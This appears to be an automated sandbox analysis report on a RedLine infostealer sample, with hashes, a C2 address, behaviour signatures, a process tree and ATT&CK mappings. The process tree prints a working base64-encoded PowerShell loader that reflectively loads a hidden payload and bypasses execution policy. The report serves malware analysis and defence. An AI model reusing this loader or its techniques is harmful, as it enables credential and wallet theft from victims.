Analysis

  • max time kernel
    136s
  • max time network
    125s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240412-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240412-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26-04-2024 00:43

General

  • Target

    1544dbca0efc2c0105dd7d52a21a8891.exe

  • Size

    364KB

  • MD5

    1544dbca0efc2c0105dd7d52a21a8891

  • SHA1

    7fbacdb27457829215cd182eab0a4e4bb4379648

  • SHA256

    d5038b0adfdfc36c23dbaafd982bb50bb0e9fc10838e731e10d182d91b28d970

  • SHA512

    2b5cd7536e41c53d6538302c7c8b471e3a5b94926d50833c09c7e737659b8bba4c33ff02521502c90c65c11fea406a05323ff05f4fc529e54d7517653bc9e471

  • SSDEEP

    6144:1fL+oqZLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLPLLLLLLLW:1fLwLLLLLLLLLLLLLLLLLLLLLLLLLLLu

Malware Config

Extracted

Family

redline

C2

5.42.92.179:18418

Signatures

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine payload 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies system certificate store 2 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\1544dbca0efc2c0105dd7d52a21a8891.exe
    "C:\Users\Admin\AppData\Local\Temp\1544dbca0efc2c0105dd7d52a21a8891.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4040
    • C:\Windows\SysWOW64\wscript.exe
      "wscript.exe" "C:\Users\Admin\start.vbs"
      2⤵
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:2764
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\temp.bat" "
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2908
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gRGVjb21wcmVzc0J5dGVzKCRjb21wcmVzc2VkRGF0YSkgeyAkbXMgPSBbSU8uTWVtb3J5U3RyZWFtXTo6bmV3KChbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRjb21wcmVzc2VkRGF0YSkpKTsgJG1zLlBvc2l0aW9uID0gMDsgJGRlZmxhdGVTdHJlYW0gPSBbSU8uQ29tcHJlc3Npb24uRGVmbGF0ZVN0cmVhbV06Om5ldygkbXMsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsgJGJ1ZmZlciA9IFtieXRlW11dOjpuZXcoNDA5Nik7ICRtcyA9IFtJTy5NZW1vcnlTdHJlYW1dOjpuZXcoKTsgd2hpbGUgKCR0cnVlKSB7ICRjb3VudCA9ICRkZWZsYXRlU3RyZWFtLlJlYWQoJGJ1ZmZlciwgMCwgJGJ1ZmZlci5MZW5ndGgpOyBpZiAoJGNvdW50IC1lcSAwKSB7IGJyZWFrIH0gJG1zLldyaXRlKCRidWZmZXIsIDAsICRjb3VudCkgfSAkZGVmbGF0ZVN0cmVhbS5DbG9zZSgpOyAkbXMuVG9BcnJheSgpIH0NCg0KIyAiVGhlIHN1cmVzdCB3YXkgdG8gY29ycnVwdCBhIHlvdXRoIGlzIHRvIGluc3RydWN0IGhpbSB0byBob2xkIGluIGhpZ2hlciBlc3RlZW0gdGhvc2Ugd2hvIHRoaW5rIGFsaWtlIHRoYW4gdGhvc2Ugd2hvIHRoaW5rIGRpZmZlcmVudGx5LiINCiMgIkluIGhlYXZlbiwgYWxsIHRoZSBpbnRlcmVzdGluZyBwZW9wbGUgYXJlIG1pc3NpbmcuIg0KIyAiSGUgd2hvIGhhcyBhIHdoeSB0byBsaXZlIGNhbiBiZWFyIGFsbW9zdCBhbnkgaG93LiINCiMgIlRvIGxpdmUgaXMgdG8gc3VmZmVyLCB0byBzdXJ2aXZlIGlzIHRvIGZpbmQgc29tZSBtZWFuaW5nIGluIHRoZSBzdWZmZXJpbmcuIg0KIyAiV2l0aG91dCBtdXNpYywgbGlmZSB3b3VsZCBiZSBhIG1pc3Rha2UuIg0KDQoNCmZ1bmN0aW9uIFJldmVyc2VTdHJpbmcoJGlucHV0U3RyaW5nKSB7DQogICAgJGNoYXJBcnJheSA9ICRpbnB1dFN0cmluZy5Ub0NoYXJBcnJheSgpDQogICAgJHJldmVyc2VkQXJyYXkgPSAkY2hhckFycmF5Wy0xLi4tKCRjaGFyQXJyYXkuTGVuZ3RoKV0NCiAgICAkcmV2ZXJzZWRTdHJpbmcgPSAtam9pbiAkcmV2ZXJzZWRBcnJheQ0KICAgIHJldHVybiAkcmV2ZXJzZWRTdHJpbmcNCn0NCiMgIlRoZXJlIGlzIGFsd2F5cyBzb21lIG1hZG5lc3MgaW4gbG92ZS4gQnV0IHRoZXJlIGlzIGFsc28gYWx3YXlzIHNvbWUgcmVhc29uIGluIG1hZG5lc3MuIg0KIyAiVGhhdCB3aGljaCBkb2VzIG5vdCBraWxsIHVzIG1ha2VzIHVzIHN0cm9uZ2VyLiINCg0KZnVuY3Rpb24gQ2xvc2UtUHJvY2VzcyB7DQogICAgcGFyYW0oDQogICAgICAgIFtzdHJpbmddJFByb2Nlc3NOYW1lDQogICAgKQ0KDQogICAgJHByb2Nlc3MgPSBHZXQtUHJvY2VzcyAtTmFtZSAkUHJvY2Vzc05hbWUgLUVycm9yQWN0aW9uIFNpbGVudGx5Q29udGludWUNCg0KICAgIGlmICgkcHJvY2VzcyAtbmUgJG51bGwpIHsNCiAgICAgICAgU3RvcC1Qcm9jZXNzIC1OYW1lICRQcm9jZXNzTmFtZSAtRm9yY2UNCgl9DQp9DQojICJJbiBpbmRpdmlkdWFscywgaW5zYW5pdHkgaXMgcmFyZTsgYnV0IGluIGdyb3VwcywgcGFydGllcywgbmF0aW9ucywgYW5kIGVwb2NocywgaXQgaXMgdGhlIHJ1bGUuIg0KIyAiVGhlIG1hbiBvZiBrbm93bGVkZ2UgbXVzdCBiZSBhYmxlIG5vdCBvbmx5IHRvIGxvdmUgaGlzIGVuZW1pZXMgYnV0IGFsc28gdG8gaGF0ZSBoaXMgZnJpZW5kcy4iDQojICJBIHRoaW5rZXIgc2VlcyBoaXMgb3duIGFjdGlvbnMgYXMgZXhwZXJpbWVudHMgYW5kIHF1ZXN0aW9ucyDigJQgYXMgYXR0ZW1wdHMgdG8gZmluZCBvdXQgc29tZXRoaW5nLiBTdWNjZXNzIGFuZCBmYWlsdXJlIGFyZSBmb3IgaGltIGFuc3dlcnMgYWJvdmUgYWxsLiINCg0KZnVuY3Rpb24gQ05WKCRhcnIpeyANCiAgICAkbz0xMjM7IA0KICAgICRkPSRudWxsOyANCiAgICBmb3JlYWNoKCRpIGluICRhcnIpeyANCiAgICAgICAgaWYgKCRpIC1ndCAxMjcpIHsgDQogICAgICAgICAgICAkZCs9IFtjaGFyXSgkaS0kbykgDQogICAgICAgIH0gZWxzZSB7IA0KICAgICAgICAgICAgJGQrPSBbY2hhcl0oJGkrJG8pIA0KICAgICAgICB9IA0KICAgIH0gDQogICAgcmV0dXJuICRkIA0KfQ0KDQoNCiRlbmNvZGVkQXJyYXkgPSBAKDE1OSwyMjAsMjM4LDIzOCwyMjQsMjMyLDIyMSwyMzEsMjQ0LDE2OSwxOTIsMjMzLDIzOSwyMzcsMjQ0LDIwMywyMzQsMjI4LDIzMywyMzksMTY5LDE5NiwyMzMsMjQxLDIzNCwyMzAsMjI0LDE2MywxNTksMjMzLDI0MCwyMzEsMjMxLDE2NywxNTksMjMzLDI0MCwyMzEsMjMxLDE2NCwxODIpDQokZGVjb2RlZFN0cmluZyA9IENOViAkZW5jb2RlZEFycmF5DQoNCg0KJGZpbGVQYXRoID0gSm9pbi1QYXRoICRlbnY6VXNlclByb2ZpbGUgIlFKSEphcC5iYXQiDQokbGFzdExpbmUgPSBHZXQtQ29udGVudCAtUGF0aCAkZmlsZVBhdGggfCBTZWxlY3QtT2JqZWN0IC1MYXN0IDENCiRjbGVhbmVkTGluZSA9ICRsYXN0TGluZSAtcmVwbGFjZSAnXjo6Jw0KJHJldmVyc2UgPSBSZXZlcnNlU3RyaW5nICRjbGVhbmVkTGluZQ0KJGRlY29tcHJlc3NlZEJ5dGUgPSBEZWNvbXByZXNzQnl0ZXMgLWNvbXByZXNzZWREYXRhICRyZXZlcnNlDQoNCiRhc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW2J5dGVbXV0kZGVjb21wcmVzc2VkQnl0ZSkNCg0KJGFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChbYnl0ZVtdXSRkZWNvbXByZXNzZWRCeXRlKQ0KDQpJbnZva2UtRXhwcmVzc2lvbiAkZGVjb2RlZFN0cmluZw0KDQpDbG9zZS1Qcm9jZXNzIC1Qcm9jZXNzTmFtZSAiY21kIg==')) | Out-File -FilePath 'C:\Users\Admin\QJHJap.ps1' -Encoding UTF8"
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3972
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\QJHJap.ps1"
          4⤵
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1500
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
            5⤵
            • Modifies system certificate store
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4936

Network

MITRE ATT&CK Matrix ATT&CK v13

Defense Evasion

Subvert Trust Controls

1
T1553

Install Root Certificate

1
T1553.004

Modify Registry

1
T1112

Credential Access

Unsecured Credentials

2
T1552

Credentials In Files

2
T1552.001

Discovery

Query Registry

2
T1012

System Information Discovery

2
T1082

Collection

Data from Local System

2
T1005

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
    Filesize

    1KB

    MD5

    4280e36a29fa31c01e4d8b2ba726a0d8

    SHA1

    c485c2c9ce0a99747b18d899b71dfa9a64dabe32

    SHA256

    e2486a1bdcba80dad6dd6210d7374bd70ae196a523c06ceda71370fd3ea78359

    SHA512

    494fe5f0ade03669e5830bed93c964d69b86629440148d7b0881cf53203fd89443ebff9b4d1ee9d96244f62af6edede622d9eacba37f80f389a0d522e4ad4ea4

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
    Filesize

    16KB

    MD5

    68284393cb316c899fac369a94579ea8

    SHA1

    27d53fdb655eadf60314383a1bc569d3ea1b552d

    SHA256

    805ebed0121e2c560d9a173df40bb4148116769107b21fd221a8f4e34cfb9e5b

    SHA512

    315f66ce321f7f0468ad5f7608f1cd9cffd1a3401c550c5bc1a85022daf64de68d8e32245583c74941451d64ee45787602a751788ff83ccebdba8175a341472c

  • C:\Users\Admin\AppData\Local\Temp\Tmp7C35.tmp
    Filesize

    2KB

    MD5

    1420d30f964eac2c85b2ccfe968eebce

    SHA1

    bdf9a6876578a3e38079c4f8cf5d6c79687ad750

    SHA256

    f3327793e3fd1f3f9a93f58d033ed89ce832443e2695beca9f2b04adba049ed9

    SHA512

    6fcb6ce148e1e246d6805502d4914595957061946751656567a5013d96033dd1769a22a87c45821e7542cde533450e41182cee898cd2ccf911c91bc4822371a8

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hry4mwuk.cp2.ps1
    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\QJHJap.ps1
    Filesize

    2KB

    MD5

    f8251aa191bb5087d04aa8f873b4b676

    SHA1

    1ddcf57936bb1d4594c35527857c79d594b8773c

    SHA256

    1323e4394630ab1a9a0dc33a74f2b5c53115a4fe2cb94b24c7deef2fe6b691c6

    SHA512

    0dbe1d657e508b948a58403c0cf943f8be41b4a8950f6596626dcc795d71bb3839d1c248dc26df5168aef8a157baf4e9d71e45a1fe59c7253ac3c19d78a09d58

  • C:\Users\Admin\start.vbs
    Filesize

    170B

    MD5

    65ee9f906fdefca9b4a6a21581dd849f

    SHA1

    b372dea5a9b9a99311445a55b634aa8f6c1d7b9d

    SHA256

    087f43e7f9f78bbeb1050cdbfaeb3d23ad7b4b742d6ef91229b8824a20daaee6

    SHA512

    1f593864f52ac61f7f4ef2aa1bfcf538dd2833e53bbd931f96c42b2ca90d2bf68545fdac547f0f3cce09ad7734acdb629bf642081227a996d3d22117263ad23a

  • C:\Users\Admin\temp.bat
    Filesize

    318KB

    MD5

    36b4c4d03ab02764f2e47e30dbb6c71e

    SHA1

    e334f09316c3c468edc1b2002f18aa886324c1fa

    SHA256

    c94456d2617c5624a7feb6c47d0c0ab0f44efecb3f5b17f38e79aeb915f3d883

    SHA512

    be8b27f19a223b422b0c9bc3eeb775da5595570988b5d8fee0856c398ab0befcd6c9e86d75483afbe5f8b938278fcfc9f3efac2fd8a25fbf55e213a56c34860b

  • memory/1500-46-0x0000000007650000-0x00000000076E6000-memory.dmp
    Filesize

    600KB

  • memory/1500-51-0x0000000001070000-0x000000000107A000-memory.dmp
    Filesize

    40KB

  • memory/1500-83-0x0000000074D30000-0x00000000754E0000-memory.dmp
    Filesize

    7.7MB

  • memory/1500-54-0x0000000077791000-0x00000000778B1000-memory.dmp
    Filesize

    1.1MB

  • memory/1500-50-0x0000000007700000-0x000000000778E000-memory.dmp
    Filesize

    568KB

  • memory/1500-48-0x0000000007CA0000-0x0000000008244000-memory.dmp
    Filesize

    5.6MB

  • memory/1500-47-0x0000000006AB0000-0x0000000006AD2000-memory.dmp
    Filesize

    136KB

  • memory/1500-43-0x0000000005D90000-0x00000000060E4000-memory.dmp
    Filesize

    3.3MB

  • memory/1500-33-0x00000000050A0000-0x00000000050B0000-memory.dmp
    Filesize

    64KB

  • memory/1500-32-0x0000000074D30000-0x00000000754E0000-memory.dmp
    Filesize

    7.7MB

  • memory/3972-30-0x0000000074D30000-0x00000000754E0000-memory.dmp
    Filesize

    7.7MB

  • memory/3972-10-0x0000000005B10000-0x0000000005B32000-memory.dmp
    Filesize

    136KB

  • memory/3972-25-0x0000000008210000-0x000000000888A000-memory.dmp
    Filesize

    6.5MB

  • memory/3972-9-0x0000000005E40000-0x0000000006468000-memory.dmp
    Filesize

    6.2MB

  • memory/3972-8-0x0000000005800000-0x0000000005810000-memory.dmp
    Filesize

    64KB

  • memory/3972-6-0x0000000074D30000-0x00000000754E0000-memory.dmp
    Filesize

    7.7MB

  • memory/3972-26-0x00000000079A0000-0x00000000079BA000-memory.dmp
    Filesize

    104KB

  • memory/3972-24-0x0000000006900000-0x000000000694C000-memory.dmp
    Filesize

    304KB

  • memory/3972-23-0x00000000068C0000-0x00000000068DE000-memory.dmp
    Filesize

    120KB

  • memory/3972-12-0x0000000005DC0000-0x0000000005E26000-memory.dmp
    Filesize

    408KB

  • memory/3972-22-0x0000000006490000-0x00000000067E4000-memory.dmp
    Filesize

    3.3MB

  • memory/3972-11-0x0000000005CE0000-0x0000000005D46000-memory.dmp
    Filesize

    408KB

  • memory/3972-7-0x00000000034D0000-0x0000000003506000-memory.dmp
    Filesize

    216KB

  • memory/4936-57-0x0000000005260000-0x0000000005270000-memory.dmp
    Filesize

    64KB

  • memory/4936-81-0x0000000006650000-0x0000000006662000-memory.dmp
    Filesize

    72KB

  • memory/4936-58-0x00000000051F0000-0x00000000051FA000-memory.dmp
    Filesize

    40KB

  • memory/4936-56-0x0000000005040000-0x00000000050D2000-memory.dmp
    Filesize

    584KB

  • memory/4936-75-0x0000000005EC0000-0x0000000005F36000-memory.dmp
    Filesize

    472KB

  • memory/4936-76-0x0000000006580000-0x000000000659E000-memory.dmp
    Filesize

    120KB

  • memory/4936-79-0x0000000006BC0000-0x00000000071D8000-memory.dmp
    Filesize

    6.1MB

  • memory/4936-55-0x0000000074D30000-0x00000000754E0000-memory.dmp
    Filesize

    7.7MB

  • memory/4936-82-0x00000000066B0000-0x00000000066EC000-memory.dmp
    Filesize

    240KB

  • memory/4936-80-0x0000000006710000-0x000000000681A000-memory.dmp
    Filesize

    1.0MB

  • memory/4936-52-0x0000000000400000-0x0000000000452000-memory.dmp
    Filesize

    328KB

  • memory/4936-86-0x00000000074B0000-0x0000000007672000-memory.dmp
    Filesize

    1.8MB

  • memory/4936-87-0x0000000007DB0000-0x00000000082DC000-memory.dmp
    Filesize

    5.2MB

  • memory/4936-88-0x0000000007460000-0x00000000074B0000-memory.dmp
    Filesize

    320KB

  • memory/4936-89-0x0000000074D30000-0x00000000754E0000-memory.dmp
    Filesize

    7.7MB

  • memory/4936-91-0x0000000074D30000-0x00000000754E0000-memory.dmp
    Filesize

    7.7MB